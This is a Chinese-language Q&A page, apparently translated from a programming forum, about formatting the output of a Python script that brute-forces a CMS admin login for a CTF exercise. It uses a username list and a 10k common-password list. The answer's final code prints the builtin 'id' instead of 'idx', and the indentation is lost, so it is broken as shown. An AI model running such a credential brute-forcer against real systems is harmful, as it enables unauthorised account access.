我使用 Python 为 CTF 创建了一个 Web-Bruteforce 项目。我跑了。
如您所见出了点问题。不规则。 我怎样才能把它们打印得更漂亮?这些是我的代码:
try:
try:
import requests
except:
print("You have to install \"requests\" via pip")
header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
username = open("username.txt","r")
username_content = username.read()
username.close()
password = open("common10k.txt","r")
password_content = password.read()
password.close()
id=0
print("=====================================================================")
print("ID Username Password Status_Code Length")
print("=====================================================================")
for u in username_content.splitlines():
for p in password_content.splitlines():
url = "http://10.10.255.177/simple/admin/login.php"
data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
sonuc = requests.post(url=url,data=data,headers=header)
id+=1
print(f"{id} {u} {p} {sonuc.status_code} {len(sonuc.content)}")
except KeyboardInterrupt:
print("Exiting...")
(这些 IP 地址等用于 CTF)
答案 0 :(得分:0)
您可以指定格式的大小,内容将用空格填充
# header
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
count = 0
for u in username_content.splitlines():
for p in password_content.splitlines():
url = "http://10.10.255.177/simple/admin/login.php"
data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
sonuc = requests.post(url=url, data=data, headers=header)
count += 1
print(f"{count:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")
不要使用 id
内置关键字
使用 with
读取文件,您无需考虑关闭它
with open("username.txt", "r") as username:
username_content = username.read()
或者用pathlib
from pathlib import Path
username_content = Path("username.txt").read_text()
您可以使用 itertools.product
来使用一个 for-loop
for u, p in product(username_content.splitlines(), password_content.splitlines()):
使用 enumerate
获取自动生成的 count
for idx, (u, p) in enumerate(product(username_content.splitlines(), password_content.splitlines())):
最终代码
try:
try:
import requests
from pathlib import Path
from itertools import product
except:
print("You have to install \"requests\" via pip")
url = "http://10.10.255.177/simple/admin/login.php"
header = {"Cookie": "CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
username_content = Path("username.txt").read_text().splitlines()
password_content = Path("common10k.txt").read_text().splitlines()
print("=" * 70)
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
print("=" * 70)
for idx, (u, p) in enumerate(product(username_content, password_content)):
data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
sonuc = requests.post(url=url, data=data, headers=header)
print(f"{id:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")
except KeyboardInterrupt:
print("Exiting...")